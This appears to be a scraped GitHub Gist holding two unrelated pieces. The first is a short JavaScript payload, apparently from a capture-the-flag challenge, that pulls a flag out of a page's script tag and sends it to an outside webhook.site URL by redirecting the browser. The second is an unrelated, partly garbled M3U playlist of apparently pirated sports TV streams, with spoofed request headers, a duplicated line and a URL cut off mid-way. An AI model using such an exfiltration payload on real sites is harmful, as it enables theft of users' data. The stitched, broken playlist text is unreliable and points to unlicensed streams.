Skip to content

Instantly share code, notes, and snippets.

@NaxxOre
NaxxOre / a.js
Last active February 6, 2026 20:16
// Access the script tag containing the flag logic
const source = document.scripts[1].text;
// Extract the flag using regex
const flag = source.match(/p_ctf\{.*?\}/)[0];
// Exfiltrate to your webhook
location = "https://webhook.site/683ef027-4a82-42db-878b-11ea543bf7e9?flag=" + flag;
# daddyliveghd
#EXTINF:-1 tvg-id="SkySp.Cricket.uk" tvg-name="Sky Sports Cricket" tvg-logo="https://github.com/tv-logo/tv-logos/blob/main/countries/united-kingdom/sky-sports-cricket-uk.png?raw=true" group-title="",Sky Sports Cricket
https://xyzdddd.mizhls.ru/lb/premium65/index.m3u8|Referer=https%3A%2F%2Fcookiewebplay.xyz%2F&User-Agent=Mozilla%2F5.0+%28Android+9%3B+Tablet%3B+rv%3A62.0%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F72.0.1388.65+Safari%2F537.36&Origin=https%3A%2F%2Fcookiewebplay.xyz
#EXTINF:-1 tvg-id="Astro.Cricket.my" #EXTINF:-1 tvg-id="Astro.Cricket.my" tvg-name="Astro Cricket" tvg-logo="https://raw.githubusercontent.com/tv-logo/tv-logos/refs/heads/main/countries/malaysia/astro-cricket-my.png" group-title="Malaysia",Astro Cricket
https://xyzdddd.mizhls.ru/lb/premium370/index.m3u8|Referer=https%3A%2F%2Fcookiewebplay.xyz%2F&User-Agent=Mozilla%2F5.0+%28Android+9%3B+Tablet%3B+rv%3A62.0%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F72.0.1388.65+Safari%2F537.36&Origin=https%